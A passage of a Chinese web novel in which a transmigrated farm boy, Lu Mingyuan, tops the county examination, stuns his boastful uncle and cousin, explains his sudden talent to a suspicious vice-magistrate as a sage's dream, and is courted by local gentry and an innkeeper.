他没有多做解释,也没有反驳。 等到开榜之日,一切都明了了! 第045章 还有前三甲未出! 一顿酒宴过后,一切归于平静! 陆从文和陆从智两兄弟也带着陆明渊和陆明文返回了陆家村! 住在县城的费用太贵,陆从文不想花那些冤枉钱! 等到五天后放榜的日子,再去县城也不晚! 当陆从文和陆从智带着两个少年出现在陆家村时,村头瞬间炸开了锅。 “哎哟,这不是从文和从智兄弟吗?这么快就回来了?” “看看,看看,咱们陆家村的文曲星回来了!” “明文、明渊,这次县试可考得如何啊?能不能中啊?” 好奇、羡慕、打趣,各种眼神涌了过来,将归来的四人笼罩。 尤其是陆明明和陆明渊,更是众人关注的重点。 陆从智脸上的得意,已经无法遏制。 “哈哈哈哈!这次我儿子明文,那可是胸有成竹啊!” 陆从智的声音,比平日里大了足足一倍,他一边说,一边用手拍着陆明文的肩膀,那力道,仿佛恨不得将儿子直接拍进金榜。 陆明文被父亲这番夸赞,脸上的骄傲之色再也藏不住。 “这次中榜是稳了!便是前三甲,也未尝不可一争!” “到时候,若真能高中,我家摆酒请客,请大家伙儿都来吃席!” 听到这番话,村头众人更是连连起哄! “哎哟,那可真是太好了!” “从智哥有福气啊,生了个这么出息的儿子!” “明文将来做了秀才,可别忘了咱们这些乡里乡亲啊!” 村人的起哄声,更加助长了陆从智父子的气焰。 他们口中的恭维,让陆明文更加膨胀。 他享受着这种众星捧月的感觉,仿佛自己已经金榜题名。 随即,村人的目光又转向了陆从文,以及他身旁那个一直默然不语的陆明渊。 相比起陆明文的张扬,陆明渊显得过于安静,甚至有些沉寂。 “从文哥,你家明渊呢?他考得怎么样啊?” 有人大着胆子问了一句。 陆从文的脸上浮现一抹憨厚。 他拱了拱手,客气地回应道:“明渊他第一次参加县试,难免紧张。能不能中,就等放榜再说吧。” 他这番话,没有陆从智那般笃定,也没有陆明文那般张扬,只是四平八稳地将皮球踢了回去。 村人们听闻此言,也便不再多问,只是又将溢美之词一股脑地倒向了陆明文。 毕竟,在村人看来,一个第一次参加县试的少年,又怎能与那信心满满、仿佛已然高中榜首的陆明文相提并论? 陆明文感受着这份独属于自己的荣耀,愈发显得骄傲不凡。 他甚至在返回陆家之后,也仿佛真的已经中了县试一般,拿起了架子。 走路时脚步生风,说话时语气也高了三分,看向陆明渊的目光中,更是多了一丝不易察觉的轻慢。 陆家内,那股喜悦的氛围,在陆从智一家人身上体现得淋漓尽致。 陆从智的妻子赵氏,从儿子口中得知“稳了”的消息后,声音都大了许多。 她专门在王氏耳边炫耀,那语气里的得意与压抑不住的张扬,几乎要将整个院子都掀翻。 “哎哟,大嫂啊,你听我家明文说的!他这次可是写得极好!” “我看啊,这次咱们陆家村的秀才,非我家明文莫属了!到时候,可要好好庆祝一番,给咱们陆家争光!” 她说着,还故意瞟了一眼陆明渊的方向,那眼神里的意味不言而喻。 王氏素来不喜与赵氏争执,性子也比她沉静得多。 她只是淡淡地应了几声,便不再搭理赵氏的炫耀,径直来到了陆明渊的房间。 陆明渊的房间,一如既往地整洁。 他正坐在桌前,手中捧着一卷《史记》,神情专注而平静。 听到母亲的脚步声,他才缓缓抬起头。 “渊儿,你考得怎么样?” 王氏走到他身边,轻声问道。 她知道儿子性子沉稳,不爱夸大其词,但内心深处,她对这个儿子,却无比相信。 陆明渊放下书卷,抬眼看向母亲。 他的脸上,没有过分的喜悦,也没有丝毫的沮丧,只有一种淡然。 “母亲,孩儿已尽力而为。至于案首,尚不敢妄言。但前三甲,孩儿应当有把握。” 这番话,听在王氏耳中,不亚于天籁。 她知道儿子向来沉稳,从不轻易许诺。 他既然说有把握,那便一定是胸有成竹。 她的眼睛瞬间亮了起来,因赵氏炫耀而低落的心情,瞬间开朗起来。 “好!好!我的渊儿,娘就知道你定能高中!” 王氏的脸上绽放出温柔的笑容,眼中满是欣慰与骄傲。 “娘早就说过,我家渊儿是文曲星下凡,过目不忘,聪慧异常。中一个县试,那肯定是手到擒来!” 五日时光,于陆明文而言,无疑是平生最值得骄傲的五日。 在陆家村中,他走路带风,谈吐间皆是经义文章,仿佛已然是那秀才老爷。 老太太陈氏更是将他视若珍宝,每日里鸡鸭鱼肉不曾断绝,口中不住地夸赞着“文曲星下凡”。 第一日夜里,老太太顾虑陆明渊的感受,来到他的厢房,语重心长地劝慰。 “渊儿啊,你莫要心急。这科举之路,漫长得很。你年纪尚轻,此次权当积累经验,日后机会多着呢。” 言语间,虽带着几分慈爱。 陆明渊只是静静听着,不争辩,不解释,只淡然颔首。 他很清楚,现在说什么都是无用之功。 …… 放榜之日,天色微明。 陆从文便早早起了身,收拾停当。 陆明渊穿上了一身洗得发白的素净长衫。 陆从智则是一反常态,今日特意换上了簇新的青布长袍。 脸上甚至还抹了些许凡人不易察觉的蜡油,像个即将迎娶新妇的郎官。 陆明文更是精心打扮,一袭月白襕衫,头戴方巾,神采飞扬。 四人在村头坐着牛车,吱呀作响地驶出了陆家村。 越是临近县城,路上的行人便越多。 从四面八方涌来的,皆是心怀忐忑或期望的村民。 他们大多是为了家中参加县试的子弟而来。 县城门口,人潮汹涌,摩肩接踵。 守城的衙役们大声呵斥,勉力维持着秩序。 陆从文和陆从智费了九牛二虎之力,才挤进了县城。 喧嚣的县城内,放榜广场更是人声鼎沸。 两块巨大的公告牌,巍然矗立在广场中央,上面赫然贴着两张猩红的榜单,密密麻麻地写满了名字。 十余名身着皂服的衙役,手持水火棍,在榜单前拉起警戒线,阻挡着如潮般涌动的人群,以防冲撞了榜单。 陆从智心急如焚,他使出吃奶的力气,左冲右突,终于在人群中撕开一道口子,勉强挤到了第二块公告牌前。 他的目光扫过榜单,不敢漏过一个名字。 当他的视线定格在榜单末尾,那个“第十七名:陆明文”的字样时,脸上的狂喜瞬间凝固,取而代之的是难以掩饰的失望。 “十七名?” 陆从智喃喃自语,满是挫败。 他原以为儿子能高中前三甲,届时便能以此为由,让陆从文一家花钱,送陆明文去高家府学。 可如今,仅仅一个末尾的十七名。 虽说也算中了县试,可与他预料差距极大。 这下恐怕很难让老大一家,掏出全部的束脩费用了! 紧随其后的陆明文,亦看到了榜单上的名字。 他的脸庞瞬间涨得通红,眼中充满了难以置信的失落。 “不可能!我怎么可能才十七名!” 他几乎是咆哮出声,声音带着一丝绝望的颤抖。 “我那经义文章,明明写得精彩绝伦,从古至今,从修身到治国,无一不精,何以才十七?” 陆从智见儿子如此失魂落魄,心中虽有不甘,却也知道此刻不是计较这些的时候。 他连忙挤到陆明文身边,拍了拍他的肩膀,故作镇定的安慰道。 “无妨,无妨!十七名也够了!只要能中县试,便有机会成秀才老爷,那也是光宗耀祖的大喜事!” 他压低声音,凑到儿子耳边,又道:“这说明县试极难,竞争激烈。你都能中,那陆明渊那小子,怕是连榜都上不了!” 此言一出,陆明文瞳孔猛地一亮。 他猛地抬起头,脸上阴郁的表情一扫而空。 “对!爹说得对!他陆明渊肯定落榜了!” 陆明文如同抓住了救命稻草,瞬间来了精神。 他顾不得自己的失落,立刻开始在第二块榜单上,更加仔细地寻找起陆明渊的名字。 一排排地看过去,一个名字一个名字地核对,十七个名字,果然没有陆明渊! “哈哈哈哈!” 陆明文仰天大笑,声音带着一丝病态的胜利感。 “果然是落榜了!他连榜都上不了!” 陆从智见状,也跟着松了口气。 虽然儿子没能名列前茅,但只要陆明渊落榜,那他陆明文依旧是陆家村唯一的希望。 他甚至已经开始盘算,回家之后,该如何将陆明渊落榜的消息,添油加醋地传扬出去。 人群中的陆从文,一直默默地站在陆明渊身旁,看着陆从智父子那大起大落的情绪。 他脸上带着一丝担忧,但更多的,却是对儿子的信任。 他知道陆明渊能过目不忘,能一日背诵《孟子》。 但是科举并非考验背诵,更重要的,还是文章写得如何! 当他看到榜单上没有陆明渊的名字,心头不禁掠过一丝不安。 他转头看向陆明渊。 “渊儿……” 陆从文刚想开口,却被陆明渊轻轻抬手止住了。 “父亲,莫急,还有前三甲未出!” “或许儿子在前三甲呢!” 第046章 拿下榜首,震惊所有人 “或许儿子在前三甲呢!” 此言一出,陆从智故作镇定的脸,终究没能绷住。 他先是一愣,随即像是听到了天大的笑话般,嘴角勾起一抹嘲讽的弧度。 “前三甲?渊儿,你怕是读书读傻了。” 陆从智语气里带着几分毫不掩饰的轻蔑,却又努力装出一副长辈的关怀模样。 “这县试前三甲,哪一个不是县里有名的才子,苦读十载的宿儒?” “再不济,也是家学渊源,从小浸淫诗书的世家子弟。” “你才十岁,刚读书一月,又无名师指点,如何能与他们相提并论?” 他拍了拍陆明渊的肩膀,脸上是难以遏制的窃喜。 “莫要心急,这次权当是见识一番。想当年你明文哥,也是考了三年才中。” “你还年轻,有的是机会。这次没中,不打紧,明年再来便是。” 陆从智嘴上说着安慰的话,心头却早已乐开了花。 他瞥了一眼陆从文,见对方脸上果然浮现出几分失落,心中更是得意。 陆明渊落榜,陆明文高中十七名,尽管名次不尽如人意,但至少陆家村唯一的希望,依旧是他的儿子! 这意味着,高家府学的束脩,陆从文一家是掏也得掏,不掏也得掏! 想到这里,陆从智的嘴角几乎要咧到耳根。 陆从文并未理会弟弟的冷嘲热讽,只是轻轻拍了拍陆明渊的背。 “渊儿,你才十岁,第一次参加县试,能有这等胆识和见识,已是旁人难以企及。没中是正常的,不必紧张,明年我们再来!” 正当陆明渊准备开口的时候,广场另一侧,忽然传来一阵铜锣的敲击声,以及几声嘹亮的号子。 “咚!咚!咚!” 锣声沉闷而富有节奏,瞬间压过了广场上的喧嚣。 人群循声望去,只见五六名身着皂服的衙役,手持水火棍开道,簇拥着一名身穿儒衫的文吏,缓步走来。 文吏手中捧着一份卷轴,神情肃穆。 “肃静!肃静!” 衙役们高声呼喝,手中的水火棍轻敲地面,发出沉闷的声响。 人声鼎沸的广场,在这一刻,竟奇迹般地安静了下来。 所有人的目光,都聚焦在那群衙役和文吏身上,空气中弥漫着紧张而又期待的气息。 那文吏走到两块公告牌之间,清了清嗓子,声音洪亮,带着一股子官家的威严。 “本年度江陵县县试,经主考大人与诸位考官共同评阅,前三甲已然定夺!” 话音落下,人群中发出了一阵低低的骚动,旋即又被衙役们压下。 文吏缓缓展开手中的卷轴,目光扫过下方密密麻麻的人群,最终停留在一处。 他深吸一口气,再次高声宣读: “县试第三名——林远江!” “哗——!” 人群瞬间沸腾起来!一个身着锦衣的少年,在人群中被簇拥着推了出来。 他面容清秀,眉宇间带着几分矜持的喜悦,显然早已胸有成竹。 他的家人与随从更是激动得难以自持,高声欢呼。 “恭喜林公子高中!” “林家有后了!” 不少在场的乡绅地主,目光灼灼地盯着林远江,甚至有人当场便高声询问。 “林公子可曾婚配?老夫家中有一小女,知书达理,愿与公子结秦晋之好!” 衙役们面带笑容,将一朵鲜艳的红花别在林远江的胸前,又将一份盖有县衙大印的文书恭敬地递上。 林远江拱手谢过,享受着众人艳羡的目光,脸上喜色更浓。 锣鼓再次敲响,震耳欲聋。文吏的声音,再次盖过了一切嘈杂: “县试第二名——高瀚文!” 这一次,人群的反应更为热烈,甚至带着几分了然。 高瀚文! 这个名字在江陵县可谓如雷贯耳。 高家乃江陵望族,世代书香,家学渊源。 高瀚文自幼便有神童之名,被誉为江陵县百年难得一见的才子。 不远处,一顶华贵的青呢小轿缓缓停下,轿帘掀开,走出一名锦衣少年。 他身姿挺拔,面容俊朗,只是眉宇间却带着一丝难以掩饰的不悦。 他本以为,以自己的才学,定然是魁首无疑,却没想到,竟然只得了第二? “哼!” 高瀚文轻哼一声,扫视了一眼四周。 这江陵县中,除了自己,还有谁能与他争夺第一? 几名衙役小跑着上前,面色恭敬地向高瀚文拱手作揖。 “恭喜高少爷高中第二名!” 他们将红花与文书呈上,态度比之对待林远江时,又多了几分小心翼翼。 高瀚文不爽地接过文书和红花,将东西丢给了身后的下人。 不是魁首的红花,他不屑于要! 他没有多言,只是冷傲地站在一旁,目光如炬,死死盯着那宣读榜单的文吏。 他倒要看看,究竟是何方神圣,能夺走他的魁首之位! 锣鼓声再次达到高潮,敲击着所有人的心弦。 文吏的脸上,此刻也显露出几分激动,他深吸一口气,用尽全身力气,高声喊出了那个即将震动整个江陵县的名字: “县试魁首,高中第一名——” 他的声音猛地拔高,仿佛要将整个县城都穿透: “陆——明——渊!” 高瀚文那张本就因屈居第二而阴沉的脸,此刻更是铁青如墨。 他锐利的眼眸,死死盯着宣读榜单的文吏。 陆明渊是谁? 江陵县中,凡有才名者,无论出身贫富,他高瀚文皆有所耳闻,或在诗会文会上见过,或从师长口中听过。 陆明渊却如同凭空冒出一般,前所未闻,见所未见! 一个籍籍无名之辈,竟能夺走他的魁首之位? 这简直是对他高家百年清誉,对他高瀚文少年才名的莫大羞辱! 他紧握双拳,指节因用力过猛而泛白,心中怒火熊熊燃烧! 整个广场,此刻已然是鸦雀无声之后的大哗。 人们面面相觑,脸上写满了难以置信的困惑与震惊。 “陆明渊是谁?” “没听说过江陵县还有这等才子啊!” “难不成是哪个深山老林里苦读出来的怪才?” 各种猜测与议论此起彼伏,如潮水般涌动。 在江陵这片土地上,世家大族对文脉的垄断,寒门子弟出头的艰难,是众人皆知的铁律。 县试魁首,往往是高家、林家这等望族子弟的囊中之物。 即便偶有寒门脱颖而出,也必然是早早便名声在外。 可这个“陆明渊”,却打破了所有人的认知。 他太陌生了。 陌生到了几乎没人听过他的名字! 陆从智的脸,在听到“陆明渊”三字时,先是僵硬,随即以肉眼可见的速度变得铁青。 他方才还洋洋得意,以为陆明渊落榜已成定局,高家府学束脩的盘算在心中打得噼啪作响。 陆明渊? 他那个被自己视为拖累的侄子? 那个才读了一个多月书的毛头小子? 他儿子陆明文寒窗苦读三年,才勉强得了十七名,堪堪险中县试。 而陆明渊,这个从前连经义文章都认不全的孩子,竟然能高中头名? 这怎么可能? 这绝对不可能! 第047章 文章能入大人法眼,皆是夫子教 陆从智感觉自己的耳膜嗡嗡作响,眼前发黑。 陆明文的脸色,更是难看到了极点,比他爹的铁青还要多几分惨白。 方才他还在为陆明渊的“落榜”而得意忘形,甚至放声嘲笑。 可此刻,那刺耳的“陆明渊”三个字狠狠地刺痛了他。 他学了三年,耗费了无数心血,才勉强挤入榜单末尾。 而陆明渊,那个被他轻视、被他嘲讽的堂弟,竟然一鸣惊人,高中魁首! 这让他这张脸往哪里放? 他今后在陆家村,在陆家人面前,还有何颜面可言? 陆明文只觉得一股热血直冲脑门,眼前阵阵发晕,羞耻、愤怒、不甘。 各种复杂的情绪交织在一起,几乎要将他整个人撕裂开来。 他紧紧咬住嘴唇,直到尝到一丝血腥味,才勉强支撑住摇摇欲坠的身体。 而与陆从智父子那地狱般的脸色形成鲜明对比的,是陆从文那由震惊到狂喜的表情。 他先是愣在原地,如遭雷击,脑海中只剩下“陆明渊”这三个字在不断回响。 魁首? 自己的儿子? 那个才十岁,才读书一个多月的儿子? 这是何等的荣耀!这是祖坟冒青烟的大喜事啊! 陆从文再也抑制不住内心的激动,他猛地抓住身旁陆明渊的手,高高举过头顶。 声音带着颤抖的哭腔,却又无比洪亮地向四周高呼:“在这里,我儿便是陆明渊!” 衙役们在最初的震惊过后,很快便反应过来。 他们都是在县衙当差多年的老油条,深知这县试魁首意味着什么。 他们不敢怠慢,几名身着皂服的衙役立刻快步走了过来。 脸上挂着比之前对待林远江和高瀚文时更加恭敬、更加谄媚的笑容。 “敢问可是陆明渊陆公子?” 为首的衙役躬身拱手,态度谦卑至极。 陆明渊神情淡然,微微颔首。 他从腰间取下那块刻有自己姓名和考生号的木牌,递了过去。 衙役接过,仔细核对了一番,确认无误后,连连点头,脸上的笑容更甚。 “正是陆公子本人!恭喜陆公子高中魁首,一举夺得县试头名!” 衙役们齐声恭贺,他们的声音带着几分真诚的敬佩,以及对未来可能交好的期盼。 紧接着,他们将一朵比林远江和高瀚文胸前那朵更加硕大、更加鲜艳的红花,恭恭敬敬地别在了陆明渊的胸前。 那朵红花,此刻在阳光下显得格外耀眼,仿佛凝聚了整个江陵县的目光。 随后,又是一份用上好宣纸书写,盖有江陵县衙大印的文书,双手奉上。 “陆公子,小人等奉县丞大人之命,特来恭请公子前往县衙一叙。” 为首的衙役小心翼翼地开口,语气中带着几分试探,生怕冒犯了这位新晋的魁首。 “不知陆公子现在可否方便?” 此言一出,原本已渐渐平息的广场,再次掀起了滔天巨浪。 所有人的议论声戛然而止,取而代之的是一片死寂。 县丞大人有请?这可不是寻常的恭贺! 县丞乃是县中二把手,仅次于县令大人! 地位尊崇至极,就连县中豪绅,都难以得其召见。 而陆明渊,一个刚刚高中县试魁首的少年,竟然能直接得到县丞大人的召见! 这不仅仅是荣耀,更是莫大的殊荣,意味着县丞大人对他的重视,对他前途的看好! “县丞大人有请?” “天哪!陆明渊究竟是何方神圣?!” “这等殊荣,便是高家的高瀚文,林家的林远江,也未曾有过啊!” 人群中爆发出一阵阵压抑不住的惊呼与羡慕。 那些原本对陆明渊的身份抱有怀疑的人,此刻再无半点质疑。 高瀚文原本铁青的脸色,此刻更是变得灰败。 他死死盯着被衙役簇拥着的陆明渊,眼中充满了不甘与困惑。 他高家世代书香,家学渊源,祖父更是前任县令。 他高瀚文更是江陵有名的才子,可即便如此,县丞大人也未曾如此厚待于他。 这个陆明渊,凭什么? 感受着周围投来的各种目光,陆明渊神色平静,轻轻点头,向那为首的衙役拱手回礼。 “有劳诸位差役通传,陆某自当随诸位前往。” …… 县衙,作为一县之核心,其建筑群落自然不同凡响。 青砖黛瓦,飞檐翘角,肃穆的石狮子镇守大门两侧,透着一股不容侵犯的威严。 陆明渊随着衙役们穿过高大的门楼,入眼便是宽阔的广场,两侧是整齐的厢房与值房。 空气中弥漫着淡淡的墨香与陈旧的木头气味,偶尔夹杂着公文翻动的轻响,一切都显得井然有序。 为首的衙役一路躬身引路,态度恭谨的连陆明渊都觉得有些不适应。 他被带到一间布置雅致的客房,房内陈设简单却不失考究。 一张红木雕花案几,几把太师椅,壁上悬挂着山水画卷。 案几上摆放着一盏青瓷茶具,热气袅袅,茶香四溢。 “陆公子,请在此稍候片刻。” 衙役们将陆明渊引入房中,又恭敬地奉上一盏新沏的香茶,才轻声告退。 “县丞大人正在会客,待客毕,便会前来。” 半个时辰,不长不短。 陆明渊始终保持着平静的姿态,既不显焦躁,亦无刻意为之的镇定。 终于,房门被轻轻推开。 一阵沉稳的脚步声传来,随后便是一个身着青色官袍的中年男子迈步而入。 他身形微胖,面容方正,颌下留着三缕乌黑的短须,双目炯炯有神。 眉宇间透着一股久居上位的威严与精明。 此人正是江陵县的二把手,县丞赵书峰。 赵县丞的目光在陆明渊身上稍作停留,随即脸上浮现出一抹和煦的笑容。 他快步上前,拱手作揖,语气带着几分真诚的赞许。 “陆公子,久仰大名,今日一见,果然器宇不凡!恭喜陆公子高中魁首,为我江陵县再添一文才!” 陆明渊连忙起身,躬身回礼,不卑不亢:“大人过誉,小子不敢当。能得魁首,实属侥幸。” “侥幸?” 赵县丞呵呵一笑,示意陆明渊落座,自己也坐到主位之上,目光如炬地盯着陆明渊。 “老夫可不认为这是侥幸。县试数百张卷子,老夫一一审阅,陆公子的那份,是真正让老夫眼前一亮。” 他端起茶盏,轻轻抿了一口,似乎在回味,又似乎在酝酿。 片刻后,他放下茶盏,声音变得更加沉稳。 “陆公子的经义默写,一字不差,字迹清秀,笔力苍劲,实属难得。” “更难得的是,那篇经义文章,立意高远,鞭辟入里,引经据典却不显堆砌,字字珠玑,句句肺腑。” “老夫敢说,便是县中那些宿儒,也未必能写出这等水准的文章。” “你小小年纪,便有此等才学,着实令老夫惊叹不已。” 赵县丞的夸赞,并非虚言,而是带着一种审视的意味。 陆明渊闻言,心中波澜不惊,脸上却恰到好处地露出一丝谦逊之色。 他拱手道:“大人谬赞。小子不过是跟着赵夫子读了些书,略有所得。平日里夫子教导严厉,小子也只是尽力而为。” “文章能入大人法眼,皆是夫子教诲之功。” 赵县丞闻言,再次“呵呵”一笑。 他没有接陆明渊的话,而是话锋猛地一转,从案几下取出一份卷宗,轻轻放在陆明渊面前的桌案上。 “陆公子说得极是,名师高徒,自古便是佳话。” 赵县丞的语气依旧温和,但那双眼睛,却锐利得仿佛能看透陆明渊的五脏六腑。 “不过,老夫听说,陆公子跟着赵夫子读书,也仅仅是一个多月的时间,是也不是?” 陆明渊的心头猛地一震,指尖不自觉地收紧。 这卷宗,恐怕就是他这一个多月来的“履历”。 赵县丞的目光紧盯着陆明渊,一字一句地道。 “卷宗上记载,一个半月前,陆公子在田地间劳作,因中暑昏迷,郎中诊断后,言及并无大碍。” “半天后陆公子醒来,醒来之后,仿佛变了一个人。从前不喜读书,甚至连经义文章都认不全,醒来后却开始强烈要求读书。” “为此,陆公子甚至与陆家老太太对赌,言明十天之内读完《孟子》。” “结果,陆公子仅仅用了一天时间,便将《孟子》倒背如流,震惊了陆家所有人。” “此后,陆公子便被送往赵夫子私塾,开始读书练字。短短一月,字体进步神速,经义文章更是突飞猛进,如今更是高中魁首,一鸣惊人。” 赵县丞说到这里,声音微微一顿,将目光从卷宗上移开,直视陆明渊的双眼。 第048章 圣人托梦,醍醐灌顶 他的眼神不再是和煦的赞许,而是带着一种近乎审讯的锐利与压迫。 “陆公子,本县丞想请教,这短短一个多月之内,陆公子从一个不识字的农家子弟,一跃成为县试魁首。” “这其中的缘由,不知陆公子可否为老夫,为县衙,为江陵县的百姓,解释一二?” 陆明渊的呼吸几不可闻地一滞。 他心中掀起了惊涛骇浪,赵县丞的调查之细致,简直到了令人发指的地步。 连他与老太太对赌,一天读完《孟子》这些细节都查得一清二楚! 然而,震惊只是一瞬。陆明渊很快便压下了心中的波澜。 赵县丞“请”他来询问,而不是直接将他拿下审问。 这说明赵县丞虽然疑虑重重,但并未看出什么实质性的破绽。 这番问话,不过是赵县丞的试探。 他抬起头,目光坦然地迎向赵县丞锐利的眼神。 脸上没有丝毫的慌乱,反而带着一种超越年龄的沉静。 “回禀赵大人。” 陆明渊的声音沉稳有力,不疾不徐。 “大人所查,句句属实。” 他顿了顿,回忆着自己早已编织好的说辞,语气诚恳而又带着一丝玄妙。 “半月前,小子确实因中暑昏迷。在昏迷之中,小子做了一个很长很长的梦。” “梦中,有一位身着古朴长袍的老者,仙风道骨,慈眉善目。他自称圣人,对小子言道。” “汝本非池中物,当以文章报效社稷,何故自甘堕落,耕于垄亩?’圣人还在梦中,为小子讲解经义,教诲文章之道。” 小子醒来之后,便觉得茅塞顿开,仿佛醍醐灌顶一般,对圣人之言,铭记于心。” 陆明渊说到这里,语气中带着一丝敬畏与虔诚。 他接着解释道:“自那梦醒之后,小子便觉得自己的记忆力非同寻常,过目不忘。” “无论是《孟子》还是其他经书,只要看上一遍,便能牢记于心。” “赵夫子和陆家的人,都知晓小子有此本领。小子能进步如此之快,正是依靠这过目不忘之能,再辅以赵夫子悉心教导,这才侥幸得了魁首。” “至于字体,小子也只是按照赵夫子所教,反复临摹字帖,日夜不辍。大人若是不信,可随时传唤赵夫子和陆家族人前来作证。” 陆明渊将自己的穿越解释为圣人托梦! 使得赵县丞即便想深究,也难以找到直接反驳的证据。 而“圣人托梦”这种玄之又玄的说法,在注重天人感应的古代,更是难以证伪,反而能为他增添几分“天命”的色彩。 赵县丞听着陆明渊的解释,眼神中闪过一抹精光! 果然如此! 和他的猜测一模一样! 陆明渊果然是有圣人托梦! 果然如此! 和他的猜测一模一样! 陆明渊果然是有圣人托梦! 赵县丞的目光在陆明渊身上来回逡巡。 那份锐利渐渐消弭,取而代之的是一种深沉的赞赏,甚至,是隐约的敬畏。 他缓缓收回卷宗,轻叹一声。 “圣人托梦,醍醐灌顶……此等奇遇,世所罕见。” 赵县丞的声音变得低沉而富有磁性。 其中蕴含的,不再是单纯的试探,而是一种带着期许的拉拢。 “陆公子,你可知,县试魁首,意味着什么?” 陆明渊垂眸,轻声道:“意味着小子有幸,可入府学求学。” 赵县丞闻言,嘴角浮现一抹意味深长的笑意。 “不错,入府学,是正途。江陵府学,汇聚一县英才,亦是士子们迈向更高学府的必经之路。” 他将茶盏放下,重新将目光聚焦在陆明渊身上,眼神中闪烁着精明的光芒。 “江陵府学,分设两院,一为高家书院,一为林家书院。” “两家皆是江陵县的百年望族,底蕴深厚,门生故吏遍布州府。能入其中任何一院,皆是前途无量。” 赵县丞说到这里,语气微微一顿,端详着陆明渊平静的面容。 然而陆明渊只是静静听着,不发一言,这让赵县丞眼中赞许之色更浓。 这份沉稳,远非寻常少年可比。 “高家与林家,在府学中皆是一等一的,若论师资,不分伯仲。只是,凡事总有其微妙之处。” 赵县丞的指尖轻轻敲击着案几。 “老夫听说,陆公子在县试之前,曾与林家小少爷林远峰有所交情?” 陆明渊心头一动,他知道,正戏来了。 “确有此事,小子在林家小少爷的书店,投过几篇文章。” “哦?” 赵县丞眉梢轻挑,眼中精光一闪而逝。 “既然如此,那便好办了。” “陆公子与林家小少爷既有交情,选择林家书院,或可少却许多周折,更能得其庇护。至于高家……便不必去了。” 陆明渊心中明了,县衙的二把手,不可能无缘无故地偏向任何一方。 高家与林家之间,恐怕有着某种不为人知的博弈。 赵县丞,显然是站在了林家这一边,或者说,他所代表的势力,与林家更为亲近。 陆明渊没有多问,也没有故作不解。 他只是起身,再次躬身作揖。 “多谢赵大人指点迷津,小子铭记于心。往后求学之路,自会慎重考量。” 赵县丞见他如此识趣,眼中笑意更甚。 他起身,亲自将陆明渊送至门口,拍了拍他的肩膀,语重心长道。 “好,好。陆公子前途无量,老夫拭目以待。他日若有需要,尽管来县衙寻老夫。” “小子告退。” 告别赵县丞,陆明渊缓步走出县衙。 青砖黛瓦,飞檐翘角,在午后的阳光下显得有些刺眼。 他没有过多沉浸于这些思绪,眼下,更重要的是找到父亲。 穿过几条熙熙攘攘的街道,陆明渊来到了县城最负盛名的福来客栈。 客栈门前,人流如织,车马络绎不绝,显然生意兴隆。 陆明渊刚走到门口,一个身着绸缎长衫,身材圆润,满面红光的掌柜便小跑着迎了出来。 他脸上堆满了笑容,躬身作揖的幅度比对寻常贵客还要夸张几分。 “哎哟,陆公子大驾光临,小店蓬荜生辉啊!” 掌柜的声音洪亮,带着几分谄媚,又带着几分真挚的喜悦。 他显然是得了消息,知道这位新鲜出炉的县试魁首住在了自己的客栈。 陆明渊微微颔首,淡然道:“掌柜客气了。” “不客气不客气!” 掌柜搓着手,笑得眼睛都眯成了一条缝。 “陆公子能入主我们福来客栈,那是我们客栈的福气!” “这几日陆公子和陆老爷在小店的一切开销,都由小店负责!” “这是小店的一点心意,还望陆公子莫要嫌弃!” 陆明渊心中明白,这掌柜是嗅到了商机。 县试魁首入住,这本身就是最好的活招牌。 若能借此机会将福来客栈与“魁首”二字联系起来,往后的生意定然能更上一层楼。 他没有故作清高的拒绝,那反而显得矫情。 他微微一笑,语气温和而从容:“掌柜有心了。既然掌柜如此盛情,小子也却之不恭。” 他顿了顿,目光扫过客栈内熙攘的人群,以及墙壁上悬挂的几幅字画,眼底掠过一丝深意。 “只是,小子也并非白占便宜之人。过两日,小子打算留下一幅墨宝,若是掌柜不嫌弃,可找小子点评一二。” 掌柜闻言,先是一愣,随即眼睛猛地亮了起来,脸上肥肉都激动地颤抖了几下。 他是个精明人,陆明渊这番话,哪里是让他“点评”,分明是暗示他可以用魁首的墨宝来宣传! 这可是天大的好事! “不嫌弃!不嫌弃!陆公子大才,墨宝乃是千金难求,小人求之不得!” 掌柜连连拱手,激动得语无伦次。 等陆明渊的墨宝一挂,再配上“县试魁首陆明渊下榻福来客栈并亲笔题字”的招牌。 往后这福来客栈,可不就是“魁首客栈”了? 那银子,还不是哗哗地往口袋里流? “小人这就去准备银子!陆公子只管安心歇息!” 掌柜忙不迭地吩咐伙计,自己则快步向柜台走去。 陆明渊目送掌柜离去,嘴角勾起一抹淡淡的弧度。 这世上,人情世故,利益交换,从来都是最直接的法则。 他没有停留,径直上了二楼,寻到了自己和父亲的房间。 第049章 魁首的好处 推开房门,一股淡淡的檀木香扑面而来。 父亲陆从文正坐在窗边,手里捧着一盏茶,却愁眉不展。 而在房间的另一侧,地上堆满了大大小小的箱子和包裹。 绫罗绸缎、古玩字画、糕点药材……琳琅满目,几乎占据了房间大半空间。 陆从文见到陆明渊进来,立刻迎了上来,脸上写满了为难。 “渊儿,你可回来了。” 他指了指地上的那些东西,苦笑着道。 “这些……都是县上那些大户人家送来的,说是恭贺你高中魁首的礼物。” 他叹了口气,眼中带着一丝不安。 “可爹总觉得,咱们无功不受禄。收了这些东西,怕是欠了人家大人情,以后若是有事相求,咱们如何拒绝?” 陆明渊看着那些堆积如山的贺礼,眼中没有丝毫意外。 县试魁首,在这个时代,足以让一些中小地主、士绅前来结交,为日后铺路。 这并非纯粹的“人情”,更是一种投资。 他走到父亲身边,拍了拍他的肩膀,语气平静而有力。 “爹,您多虑了。既然是恭贺之礼,收下便是。” “这些大户人家,送礼并非只求回报,更多的是一种姿态,一种示好。” “他们看重的是孩儿的潜力,而非眼前的一时得失。” 他顿了顿,目光深邃地看向窗外。 “再者,孩儿以后早晚要在县城立足。这些大户人家,肯定会有交集。” “今日收下他们的贺礼,日后若真有需要,再还人情也不迟。” 陆从文听得一愣,诧异地看向儿子。 他从陆明渊的话语中,听出了一丝不同寻常的意味。 “渊儿,你……你方才说,以后早晚要在县城?” 陆明渊回过头,微笑着看向父亲,眼中没有解释。 “爹,您今日也累了。好好休息吧,明日还要忙活一天,等忙完了,咱们就回村。” …… 次日清晨,天光未大亮,县城尚在薄雾中沉睡,陆明渊已然起身。 他才收拾妥当,客栈掌柜已在门外候着。 脸上写满了恭敬与期盼,手中捧着一方托盘。 上面是崭新的笔墨纸砚,笔管如玉,墨锭泛光,纸张似雪,显然都是上上之品。 “陆公子,小人斗胆,不知此刻可否叨扰?” 掌柜躬身,言语间透着小心翼翼。 陆明渊微微颔首,示意无妨。 他随掌柜来到客栈内一间雅致的书房。 